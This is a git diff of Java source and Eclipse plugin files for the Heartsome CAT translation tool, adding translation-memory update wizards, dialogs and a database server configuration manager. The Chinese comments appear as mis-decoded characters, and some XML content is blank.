setErrorMessage(Messages.getString("wizard.TmDbManagerImportWizardTmxPage.msg8")); + setPageComplete(false); + return; + } else { + setErrorMessage(null); + setPageComplete(true); + } + + if (this.dbModel == null) { + setErrorMessage(Messages.getString("wizard.TmDbManagerImportWizardTmxPage.msg9")); + setPageComplete(false); + return; + } else { + setErrorMessage(null); + setPageComplete(true); + } + } + + /** + * 从首选项中读å–导入策略 + * @return ; + */ + public int getTmxImportStrategy() { + IPreferenceStore ps = Activator.getDefault().getPreferenceStore(); + return ps.getInt(TMPreferenceConstants.TM_UPDATE); + } + + /** + * 判断在导入的时候是å¦éœ€è¦æ£€æŸ¥ä¸Šä¸‹æ–‡ + * @return ; + */ + public boolean isNeedCheckContext() { + return false; + } + + /** @return the dbModel */ + public DatabaseModelBean getDbModel() { + return dbModel; + } + + /** + * @param dbModel + * the dbModel to set + */ + public void setDbModel(DatabaseModelBean dbModel) { + this.dbModel = dbModel; + } + +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/UpdateTMWizard.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/UpdateTMWizard.java new file mode 100644 index 0000000..eb90f49 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/UpdateTMWizard.java @@ -0,0 +1,155 @@ +package net.heartsome.cat.database.ui.tm.wizard; + +import java.lang.reflect.InvocationTargetException; +import java.util.ArrayList; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.core.exception.ImportException; +import net.heartsome.cat.database.bean.TMPreferenceConstants; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.tm.Activator; +import net.heartsome.cat.database.ui.tm.resource.Messages; +import net.heartsome.cat.ts.core.file.ProjectConfiger; +import net.heartsome.cat.ts.core.file.ProjectConfigerFactory; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; +import net.heartsome.cat.ts.ui.preferencepage.IPreferenceConstants; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.wizard.Wizard; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.LoggerFactory; + +/** + * 更新记忆库 wizard + * @author peason + * @version + * @since JDK1.6 + */ +public class UpdateTMWizard extends Wizard { + + private ArrayList lstXLIFF; + + private UpdateTMWizardPage page; + + private boolean canFinish = false; + + public UpdateTMWizard(ArrayList lstXLIFF) { + this.lstXLIFF = lstXLIFF; + page = new UpdateTMWizardPage("Update TM", lstXLIFF); + } + + public boolean performFinish() { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(UpdateTMWizard.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + final IWorkbenchPage activePage = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); + final boolean isDraft = page.isDraft(); + final boolean isApproved = page.isApproved(); + final boolean isSignedOff = page.isSignedOff(); + final boolean isTranslated = page.isTranslated(); + final boolean isLocked = page.isLocked(); + if (!isDraft && !isApproved && !isSignedOff && !isTranslated && !isLocked) { + MessageDialog.openInformation(getShell(), Messages.getString("wizard.UpdateTMWizard.msgTitle"), + Messages.getString("wizard.UpdateTMWizard.msg")); + return false; + } + IPreferenceStore ps = Activator.getDefault().getPreferenceStore(); + final int contextSize = ps.getInt(TMPreferenceConstants.CONTEXT_MATCH); + final int tmxImportStrategy = ps.getInt(TMPreferenceConstants.TM_UPDATE); + IRunnableWithProgress progress = new IRunnableWithProgress() { + + public void run(IProgressMonitor monitor) { + monitor.setTaskName(Messages.getString("dialog.UpdateTMDialog.jobTask1")); + monitor.beginTask(Messages.getString("dialog.UpdateTMDialog.jobTask1"), lstXLIFF.size() * 2); + for (final IFile xliffFile : lstXLIFF) { + ProjectConfiger projectConfig = ProjectConfigerFactory.getProjectConfiger(xliffFile.getProject()); + DatabaseModelBean modelBean = projectConfig.getDefaultTMDb(); + FileEditorInput editorInput = new FileEditorInput(xliffFile); + IEditorPart editorPart = activePage.findEditor(editorInput); + + // 选择所有语言 + XLFHandler handler = null; + if (editorPart != null && editorPart instanceof IXliffEditor) { + // xliff 文件已用 XLIFF 编辑器打开 + IXliffEditor xliffEditor = (IXliffEditor) editorPart; + handler = xliffEditor.getXLFHandler(); + } else { + // xliff 文件未打开 + handler = new XLFHandler(); + } + + monitor.subTask(Messages.getString("dialog.UpdateTMDialog.jobTask2")); + String systemUser = Activator.getDefault().getPreferenceStore() + .getString(IPreferenceConstants.SYSTEM_USER); + String[] arrTempTMX = handler.generateTMXToUpdateTM(xliffFile, isApproved, isSignedOff, + isTranslated, isDraft, isLocked, contextSize, systemUser); + monitor.worked(1); + + if (arrTempTMX != null) { + monitor.subTask(Messages.getString("dialog.UpdateTMDialog.jobTask3")); + // int state = DatabaseService.importTmxWithString(modelBean.toDbMetaData(), arrTempTMX[1], + // new SubProgressMonitor(monitor, 1), tmxImportStrategy, false, arrTempTMX[0]); + // if (state != ImportAbstract.SUCCESS && state != ImportAbstract.CANCEL) { + // Display.getDefault().syncExec(new Runnable() { + // + // public void run() { + // MessageDialog.openInformation(getShell(), + // Messages.getString("dialog.UpdateTMDialog.job.msgTitle"), + // Messages.getString("dialog.UpdateTMDialog.job.msg")); + // } + // }); + // canFinish = false; + // return; + // } + try { + DatabaseService.importTmxWithString(modelBean.toDbMetaData(), arrTempTMX[1], + new SubProgressMonitor(monitor, 1), tmxImportStrategy, false, arrTempTMX[0]); + } catch (ImportException e) { + final String msg = e.getMessage(); + Display.getDefault().syncExec(new Runnable() { + + public void run() { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.UpdateTMDialog.job.msgTitle"), msg); + } + }); + canFinish = false; + return; + } + } + } + monitor.done(); + canFinish = true; + } + }; + try { + getContainer().run(true, true, progress); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + + return canFinish; + } + + @Override + public void addPages() { + setWindowTitle(Messages.getString("dialog.UpdateTMDialog.title")); + addPage(page); + setNeedsProgressMonitor(true); + } +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/UpdateTMWizardDialog.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/UpdateTMWizardDialog.java new file mode 100644 index 0000000..f964424 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/UpdateTMWizardDialog.java @@ -0,0 +1,79 @@ +package net.heartsome.cat.database.ui.tm.wizard; + +import java.text.MessageFormat; + +import net.heartsome.cat.common.ui.wizard.TSWizardDialog; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.database.ui.tm.preference.TMDatabasePage; +import net.heartsome.cat.database.ui.tm.resource.Messages; +import net.heartsome.cat.ts.ui.util.PreferenceUtil; + +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.wizard.IWizard; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.ui.PlatformUI; + +public class UpdateTMWizardDialog extends TSWizardDialog { + + public UpdateTMWizardDialog(Shell parentShell, IWizard newWizard) { + super(parentShell, newWizard); + setHelpAvailable(true); + } + + /** + * 添加帮助按钮 + * robert 2012-09-06 + */ + @Override + protected Control createHelpControl(Composite parent) { + // ROBERTHELP 更新记忆库 + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch06.html#update-tm", language); + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + }; + + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, -1, Messages.getString("dialog.UpdateTMDialog.btnSetting"), true); + super.createButtonsForButtonBar(parent); + getButton(-1).addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PreferenceUtil.openPreferenceDialog(PlatformUI.getWorkbench().getActiveWorkbenchWindow(), TMDatabasePage.ID); + } + }); + } + +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/UpdateTMWizardPage.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/UpdateTMWizardPage.java new file mode 100644 index 0000000..b403825 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/UpdateTMWizardPage.java @@ -0,0 +1,153 @@ +package net.heartsome.cat.database.ui.tm.wizard; + +import java.util.ArrayList; + +import net.heartsome.cat.database.ui.tm.Activator; +import net.heartsome.cat.database.ui.tm.resource.Messages; + +import org.eclipse.core.resources.IFile; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; + +/** + * æ›´æ–°è®°å¿†åº“é¡µé¢ + * @author peason + * @version + * @since JDK1.6 + */ +public class UpdateTMWizardPage extends WizardPage { + + private ArrayList lstXLIFF; + + /** è‰ç¨¿å¤é€‰æ¡† */ + private Button btnDraft; + + /** 完æˆç¿»è¯‘å¤é€‰æ¡† */ + private Button btnTranslated; + + /** 已批准å¤é€‰æ¡† */ + private Button btnApproved; + + /** 已签å‘å¤é€‰æ¡† */ + private Button btnSignedOff; + + /** é”定å¤é€‰æ¡† */ + private Button btnLocked; + + protected UpdateTMWizardPage(String pageName, ArrayList lstXLIFF) { + super(pageName); + this.lstXLIFF = lstXLIFF; + } + + public void createControl(Composite parent) { + setTitle(Messages.getString("wizard.UpdateTMWizardPage.title")); + Composite tparent = new Composite(parent, SWT.None); + tparent.setLayout(new GridLayout()); + GridDataFactory.fillDefaults().hint(700, 500).grab(true, true).applyTo(tparent); + createContent(tparent); + setImageDescriptor(Activator.getImageDescriptor("images/dialog/update-tm-logo.png")); + setControl(parent); + setDescription(Messages.getString("wizard.UpdateTMWizardPage.description")); + } + + public void createContent(Composite parent) { + TableViewer tableViewer = new TableViewer(parent, SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL | SWT.FULL_SELECTION); + final Table table = tableViewer.getTable(); + GridData tableData = new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.FILL_BOTH); + tableData.heightHint = 160; + table.setLayoutData(tableData); + table.setLinesVisible(true); + table.setHeaderVisible(true); + + TableColumn columnNumber = new TableColumn(table, SWT.LEFT); + columnNumber.setText(Messages.getString("wizard.UpdateTMWizardPage.columnNumber")); + columnNumber.setWidth(50); + + TableColumn columnPath = new TableColumn(table, SWT.LEFT); + columnPath.setText(Messages.getString("wizard.UpdateTMWizardPage.columnPath")); + columnPath.setWidth(400); + + tableViewer.setLabelProvider(new TableViewerLabelProvider()); + tableViewer.setContentProvider(new ArrayContentProvider()); + tableViewer.setInput(getTableInfo()); + + Group groupStatus = new Group(parent, SWT.None); + groupStatus.setLayout(new GridLayout()); + groupStatus.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupStatus.setText(Messages.getString("dialog.UpdateTMDialog.lbl")); + btnDraft = new Button(groupStatus, SWT.CHECK); + btnDraft.setText(Messages.getString("dialog.UpdateTMDialog.btnDraft")); + + btnTranslated = new Button(groupStatus, SWT.CHECK); + btnTranslated.setText(Messages.getString("dialog.UpdateTMDialog.btnTranslated")); + btnTranslated.setSelection(true); + + btnApproved = new Button(groupStatus, SWT.CHECK); + btnApproved.setText(Messages.getString("dialog.UpdateTMDialog.btnApproved")); + btnApproved.setSelection(true); + + btnSignedOff = new Button(groupStatus, SWT.CHECK); + btnSignedOff.setText(Messages.getString("dialog.UpdateTMDialog.btnSignedOff")); + btnSignedOff.setSelection(true); + + btnLocked = new Button(groupStatus, SWT.CHECK); + btnLocked.setText(Messages.getString("dialog.UpdateTMWizardPage.btnLocked")); + } + + class TableViewerLabelProvider extends LabelProvider implements ITableLabelProvider{ + + public Image getColumnImage(Object element, int columnIndex) { + // TODO Auto-generated method stub + return null; + } + public String getColumnText(Object element, int columnIndex) { + if (element instanceof String[]) { + String[] array = (String[]) element; + return array[columnIndex]; + } + return null; + } + } + + private String[][] getTableInfo() { + ArrayList tableInfos = new ArrayList(); + for (int i = 0; i < lstXLIFF.size(); i++) { + String[] tableInfo = new String[]{String.valueOf(i + 1), lstXLIFF.get(i).getFullPath().toOSString() }; + tableInfos.add(tableInfo); + } + return tableInfos.toArray(new String[][]{}); + } + + public boolean isDraft() { + return btnDraft.getSelection(); + } + + public boolean isTranslated() { + return btnTranslated.getSelection(); + } + + public boolean isApproved() { + return btnApproved.getSelection(); + } + + public boolean isSignedOff() { + return btnSignedOff.getSelection(); + } + + public boolean isLocked() { + return btnLocked.getSelection(); + } +} diff --git a/database/net.heartsome.cat.database.ui/.classpath b/database/net.heartsome.cat.database.ui/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/database/net.heartsome.cat.database.ui/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/database/net.heartsome.cat.database.ui/.project b/database/net.heartsome.cat.database.ui/.project new file mode 100644 index 0000000..40c4eaf --- /dev/null +++ b/database/net.heartsome.cat.database.ui/.project @@ -0,0 +1,33 @@ + + + net.heartsome.cat.database.ui + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + org.eclipse.pde.ds.core.builder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/database/net.heartsome.cat.database.ui/.settings/org.eclipse.jdt.core.prefs b/database/net.heartsome.cat.database.ui/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..3ce0ce5 --- /dev/null +++ b/database/net.heartsome.cat.database.ui/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:30:07 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/database/net.heartsome.cat.database.ui/META-INF/MANIFEST.MF b/database/net.heartsome.cat.database.ui/META-INF/MANIFEST.MF new file mode 100644 index 0000000..394fb67 --- /dev/null +++ b/database/net.heartsome.cat.database.ui/META-INF/MANIFEST.MF @@ -0,0 +1,21 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Database UI +Bundle-SymbolicName: net.heartsome.cat.database.ui;singleton:=true +Bundle-Version: 8.0.1.R8b_v20121220 +Bundle-Activator: net.heartsome.cat.database.ui.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + heartsome.java.tools.plugin;bundle-version="1.0.0", + net.heartsome.xml;bundle-version="1.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + net.heartsome.cat.database;bundle-version="1.0.0", + org.eclipse.core.resources;bundle-version="3.7.100", + net.heartsome.cat.common.core;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Export-Package: net.heartsome.cat.database.ui.bean, + net.heartsome.cat.database.ui.core, + net.heartsome.cat.database.ui.dialog +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/database/net.heartsome.cat.database.ui/build.properties b/database/net.heartsome.cat.database.ui/build.properties new file mode 100644 index 0000000..7987180 --- /dev/null +++ b/database/net.heartsome.cat.database.ui/build.properties @@ -0,0 +1,9 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + plugin.properties,\ + plugin_en.properties,\ + plugin_zh.properties diff --git a/database/net.heartsome.cat.database.ui/plugin.properties b/database/net.heartsome.cat.database.ui/plugin.properties new file mode 100644 index 0000000..205835d --- /dev/null +++ b/database/net.heartsome.cat.database.ui/plugin.properties @@ -0,0 +1,2 @@ +menu.database = \u6570\u636e\u5e93(&D) +category.database = \u6570\u636e\u5e93 \ No newline at end of file diff --git a/database/net.heartsome.cat.database.ui/plugin.xml b/database/net.heartsome.cat.database.ui/plugin.xml new file mode 100644 index 0000000..022a4e8 --- /dev/null +++ b/database/net.heartsome.cat.database.ui/plugin.xml @@ -0,0 +1,53 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/database/net.heartsome.cat.database.ui/plugin_en.properties b/database/net.heartsome.cat.database.ui/plugin_en.properties new file mode 100644 index 0000000..22929d9 --- /dev/null +++ b/database/net.heartsome.cat.database.ui/plugin_en.properties @@ -0,0 +1,2 @@ +menu.database = &Databases +category.database = Databases diff --git a/database/net.heartsome.cat.database.ui/plugin_zh.properties b/database/net.heartsome.cat.database.ui/plugin_zh.properties new file mode 100644 index 0000000..205835d --- /dev/null +++ b/database/net.heartsome.cat.database.ui/plugin_zh.properties @@ -0,0 +1,2 @@ +menu.database = \u6570\u636e\u5e93(&D) +category.database = \u6570\u636e\u5e93 \ No newline at end of file diff --git a/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/Activator.java b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/Activator.java new file mode 100644 index 0000000..d6f08c1 --- /dev/null +++ b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/Activator.java @@ -0,0 +1,63 @@ +package net.heartsome.cat.database.ui; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + /** æ’件的 ID */ + public static final String PLUGIN_ID = "net.heartsome.cat.database.ui"; + /** æ’件的上下文 */ + public static BundleContext context; + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /** (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + Activator.context = context; + } + + /** + * (non-Javadoc) + * + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * æ供一个图片文件对æ’件的相对路径,返回该图片的æè¿°ä¿¡æ¯ã€‚ + * @param path + * 图片资æºå¯¹æ’件的相对路径。 + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } + +} diff --git a/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/bean/DatabaseManagerDbListBean.java b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/bean/DatabaseManagerDbListBean.java new file mode 100644 index 0000000..3777180 --- /dev/null +++ b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/bean/DatabaseManagerDbListBean.java @@ -0,0 +1,81 @@ +/** + * DatabaseManagerDbListBean.java + * + * Version information : + * + * Date:Dec 2, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.bean; + +import java.beans.PropertyChangeEvent; +import java.beans.PropertyChangeListener; +import java.beans.PropertyChangeSupport; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class DatabaseManagerDbListBean implements PropertyChangeListener { + private String index; + private String dbName; + private String langs; + private PropertyChangeSupport propertyChangeSupport = new PropertyChangeSupport(this); + + /** @return the index */ + public String getIndex() { + return index; + } + + /** + * @param index + * the index to set + */ + public void setIndex(String index) { + propertyChangeSupport.firePropertyChange("index", this.index, this.index = index); + } + + /** @return the dbName */ + public String getDbName() { + return dbName; + } + + /** + * @param dbName + * the dbName to set + */ + public void setDbName(String dbName) { + propertyChangeSupport.firePropertyChange("dbName", this.dbName, this.dbName = dbName); + } + + /** @return the langs ,所有code以逗å·è¿žæŽ¥ */ + public String getLangs() { + return langs; + } + + /** + * @param langs + * the langs to set + */ + public void setLangs(String langs) { + propertyChangeSupport.firePropertyChange("langs", this.langs, this.langs = langs); + } + + + public void propertyChange(PropertyChangeEvent arg0) { + } + + public void addPropertyChangeListener(String propertyName, PropertyChangeListener listener) { + propertyChangeSupport.addPropertyChangeListener(propertyName, listener); + } + + public void removePropertyChangeListener(PropertyChangeListener listener) { + propertyChangeSupport.removePropertyChangeListener(listener); + } + +} diff --git a/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/core/DatabaseConfiger.java b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/core/DatabaseConfiger.java new file mode 100644 index 0000000..9392261 --- /dev/null +++ b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/core/DatabaseConfiger.java @@ -0,0 +1,370 @@ +/** + * DatabaseConfiger.java + * + * Version information : + * + * Date:Dec 1, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.core; + +import java.io.BufferedOutputStream; +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Random; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.database.ui.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.resources.ResourcesPlugin; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import cn.org.tools.utils.encrypt.DESImpl; + +import com.ximpleware.AutoPilot; +import com.ximpleware.ModifyException; +import com.ximpleware.NavException; +import com.ximpleware.ParseException; +import com.ximpleware.TranscodeException; +import com.ximpleware.VTDGen; +import com.ximpleware.XMLModifier; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * æ•°æ®åº“æœåŠ¡å™¨é…ç½®æ–‡ä»¶ç®¡ç† + * @author Jason + * @version + * @since JDK1.6 + */ +public class DatabaseConfiger { + + private VTDUtils vu; + private File serverConfigFile; + private AutoPilot ap; + private static final Logger logger = LoggerFactory.getLogger(DatabaseConfiger.class); + + /** + * 构造器,如果文件ä¸å­˜åœ¨å…ˆæž„建文件,å†ç”¨vtd解æž. + */ + public DatabaseConfiger() { + initResource(); + VTDGen vg = new VTDGen(); + try { + if (vg.parseFile(serverConfigFile.getPath(), true)) { + vu = new VTDUtils(vg.getNav()); + ap = new AutoPilot(vu.getVTDNav()); + } else { + throw new ParseException(); + } + } catch (NavException e) { + logger.error("", e); + } catch (ParseException e) { + logger.error("", e); + } + } + + /** + * åˆå§‹åŒ–资æºã€‚主è¦åˆ¤æ–­å­˜å‚¨çš„文件存ä¸å­˜åœ¨ï¼Œå¦‚æžœä¸å­˜åœ¨åˆ™åˆ›å»º + */ + private void initResource() { + String path = checkConfigDirectory(".config"); + File dbListFile = new File(path + System.getProperty("file.separator") + ".servers"); + if (!dbListFile.exists() || dbListFile.isDirectory()) { + try { + FileOutputStream fos = new FileOutputStream(dbListFile); + BufferedOutputStream bos = new BufferedOutputStream(fos); + StringBuffer bf = new StringBuffer(); + bf.append(""); + bf.append(""); + bf.append(""); + bos.write(bf.toString().getBytes()); + bos.close(); + fos.close(); + } catch (IOException e) { + logger.error(Messages.getString("core.DatabaseConfiger.logger1"), e); + } + } + this.serverConfigFile = dbListFile; + } + + /** + * 检查é…置文件存放目录.如果ä¸å­˜åœ¨åˆ™åˆ›å»º + * @param cfgDirName + * 需è¦æ£€æŸ¥ç›®å½•çš„å称 + * @return ; + */ + private String checkConfigDirectory(String cfgDirName) { + String workspacePath = ResourcesPlugin.getWorkspace().getRoot().getLocation().toString(); + workspacePath = workspacePath + System.getProperty("file.separator") + cfgDirName; + + File dbListFolder = new File(workspacePath); + if (!dbListFolder.exists() || dbListFolder.isFile()) { + dbListFolder.mkdirs(); + } + return workspacePath; + } + + /** + * 更新指定idçš„serveré…ç½®ä¿¡æ¯ + * @param id + * @param serverBean + * ; + */ + public void updateServerConfigById(String id, DatabaseModelBean serverBean) { + String newValue = generateServerNode(serverBean.getDbType(), serverBean); + XMLModifier xm = vu.update("/servers/server[@id='" + id + "']", newValue); + try { + vu.bind(xm.outputAndReparse()); + saveToFile(xm, serverConfigFile); + } catch (Exception e) { + logger.error(Messages.getString("core.DatabaseConfiger.logger2"), e); + } + } + + /** + * 删除指定idçš„æœåŠ¡å™¨é…ç½®ä¿¡æ¯ + * @param id + * æœåŠ¡å™¨é…置信æ¯id; + */ + public void deleteServerById(String id) { + if (id != null && !id.equals("")) { + try { + XMLModifier xm = vu.delete("/servers/server[@id='" + id + "']"); + vu.bind(xm.outputAndReparse()); + saveToFile(xm, serverConfigFile); + } catch (Exception e) { + logger.error(Messages.getString("core.DatabaseConfiger.logger3"), e); + } + } + } + + /** + * 添加一个全新的æœåŠ¡å™¨åˆ°é…置文件 + * @param serverBean + * ; + */ + public void addServerConfig(DatabaseModelBean serverBean) { + serverBean.setId(this.generateServerId()); + String content = generateServerNode(serverBean.getDbType(), serverBean); + if (!content.equals("")) { + try { + XMLModifier xm = vu.insert("/servers/text()", content.toString()); + vu.bind(xm.outputAndReparse()); + saveToFile(xm, serverConfigFile); + } catch (Exception e) { + logger.error("", e); + } + ap.resetXPath(); + } + } + + /** + * 